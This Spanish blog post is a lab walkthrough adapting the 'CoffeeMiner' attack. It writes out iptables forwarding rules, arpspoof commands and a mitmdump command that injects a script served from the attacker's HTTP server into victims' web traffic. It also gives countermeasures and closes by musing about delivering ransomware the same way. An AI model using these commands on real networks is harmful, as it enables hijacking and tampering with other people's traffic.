Hace ya unos cuantos días leí la entrada del blog
de Arnau Code relativo a "CoffeeMiner"
. En dicha entrada se explica, en resumidas cuentas, como hacer que cualquier
persona que se conecte a una WI-FI en la cual te encuentras mine para ti.
Resulto tan interesante la lectura que pase a
testearlo (sin utilizar criptomonedas) , para lo cual clone en una de mis MV el
repositorio Github de Arnau.
A partir del cual comencé a revisar código para adaptarlo a mi MV, ya que dicha
máquina -la cual será la atacante- es una máquina Linux sin entorno gráfico por
lo que las llamadas a "Xterm" del código de Arnau no funcionan.
Código original de Arnau
NOTA:
Sugiero encarecidamente, una vez clonado el repositorio Github, ejecutar el
archivo: install.sh, clonado. Permitirá instalar los componentes
necesarios para que el archivo python funcione.
Contenido del archivo:
install.sh
Se realizaron varios cambios sobre el código
original, aunque se puede decir que el principal consistió en dividir el
archivo python: coffeeminer.py, en
varios archivos. El objetivo fue controlar el funcionamiento ya que, como se
comento anteriormente, la llamadas a "Xterm" no funcionan en el
entorno de mis MV y no se podría seguir correctamente el funcionamiento del
script.
El resultado quedó de la siguiente manera:
1.- Archivo
para configurar el firewall del sistema (1.HabilitarFIREWALL.py).
Sólo habría que lanzarlo la primera vez que
trabajemos con el "CoffeMiner", ya que las reglas quedan modificadas
de manera permanente.
Añadir que en mi caso, en vez de utilizar el código
que se vio arriba, se ha utilizado las siguientes reglas para el firewall.
Contenido del archivo:
1.HabilitarFIREWALL.py
NOTA:
Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que
tener en cuenta:
os.system("iptables -A
FORWARD -i <identificador de nuestro NIC de entrada> -o <identificados
de nuestro NIC de salida> -j ACCEPT")
Esto es debido a que, no se va a utilizar el
software: ssltrip -última línea del
script original-, y por lo tanto mi sistema no va a abrir el puerto 8080 para
que funcione como proxy-web.
En mi caso, sólo permito el reenvío de los paquetes
para que el usuario final no perciba ningún problema en las comunicaciones.
2.- Archivo
que realizará el ARPSpoofing (2.ARPSpoofing.py)
Para ello debemos pasar como parámetro la dirección
IP de nuestra default gateway. Con ese dato y con el contenido del
archivo: victims.txt, que deben ser
direcciones IP de las víctimas, se podrá hacer el ataque ARPSpoofing y así conseguir
el MiTM.
Contenido del archivo:
2.ARPSpoofing.py
NOTA:
Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que
tener en cuenta:
os.system("arpspoof -i
<identificador de nuestro NIC de entrada> -t <IP de la victima>
<IP del default gateway>")
os.system("arpspoof -i
<identificador de nuestro NIC de entrada> -t <IP del default
gateway> <IP de la victima>")
3.- Archivo
que levantará un servidor web. (3.httpServer.py)
Se creará un servidor web que escuchará
constantemente en el puerto 8000, en mi propia máquina.
Contenido del archivo:
3.httpServer.py
4.- Archivo
que nos permitirá inyectar el código que permitirá hacer ... cosas malas.
(4.LanzarMitdump.py)
Por un lado tenemos: mitmdump, que es una herramienta que permite analizar el tráfico
que pasará a través de nuestro equipo y editarlo.
Por otro lado tenemos: inyector.py, que nos permite inyectar el código deseado.
Está línea,
y estas dos herramientas son las realmente esenciales para realizar lo que
Arnau nos propone, y son las que pueden dar mucho juego.
Contenido del archivo: 4.LanzarMitdump.py
NOTA:
Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que
tener en cuenta:
os.system("/.local/bin/mitmdump
-s ' injector.py http://<IP de nuestro servidor HTTP>/<archivo a
descargar>' -T")
El contenido del archivo: script.js es:
Contenido del archivo: script.js
PoC
El entorno se compone de tres equipos:
1.- Default
Gateway : 172.21.5.15
2.- Servidor Linux, desde donde se lanza los
scripts correspondientes al CoffeeMiner : 172.21.5.234
Configuración de red de la
máquina atacante
3.- Máquina Linux, que será la víctima: 172.21.5.246
Configuración de red de la
máquina victima
Se procede a lanzar la secuencia de scripts
generados.
A.- 1.HabilitarFIREWALL.py
Lanzamos el primer script, que permite la
configuración del firewall
Lanzamos el segundo script,
que permite realizar el ARPSpoofing.
Tabla ARP de la máquina
víctima.
C.- 3.httpServer.py
Lanzamos el tercer script,
que levanta un servicio web.
C.- 4.LanzaMitmdump.py
Pantallazo obtenido tras
lanzar el cuarto script.
Desde la máquina víctima se solicita a través del
navegador la visita a la URL: www.arnaucode.com, obteniéndose el siguiente
resultado:
Mensaje visualizado y que se
corresponde con la orden dada en la línea inyectada.
CONTRAMEDIDAS
A nivel de red, al fundamentarse en un MitM
mediante un ataque ARPSpoofing, la red se llena de tramas ARP desde el atacante
hacía sus víctimas. También cada uno de los equipos víctimas sufrirán un
incremento de actividad a nivel de red.
Por dicho motivo, se debería instalar un
script/software/<o como se quiera llamar> que nos informe cuando dos
direcciones IP tenga la misma M.A.C.. Esto sería un indicador bastante fiable
de que estamos ante un ataque ARPSpoofing.
Un script que nos permitiría detectar un ataque
ARPSpoofing puede ser el siguiente
A nivel de navegador web, y para detectar intentos
de minería existen extensiones que detectan y bloquean dichos intentos. Como
por ejemplo: No
Coin y Miner
Block.
Al mismo nivel que el anterior, podemos ser más
radicales, y deshabilitar la ejecución de "javascript".
Por último, me gustaría dejar caer las siguientes
ideas ...
1.- Y si, en vez de un ataque MitM se configurara
un archivo PAC (configuración de proxy-web) y se soltará para que todas
aquellas máquinas/hosts que lo solicitan de manera implícita lo recogieran e
hicieran de nuestra máquina su proxy-web.
Nuestra inyección sería más anónima.
2.- Y si, en vez de inyectar un comando: <alert>, o
el código para descargar un archivo de minería, volviéramos a las andadas con
los ransomware u otros malwares.
3.- Imaginación al poder.
En cualquier caso, todo esto implica estar presente
en la red a "engañar" de manera física, aunque sea por tiempo finito.
Pero ello también implicaría que los elementos de seguridad de la red nos los
habríamos saltado y sólo quedarían las medidas de seguridad implementadas en
los hosts finales.
¿Cómo sería de malo?
No hay comentarios:
Publicar un comentario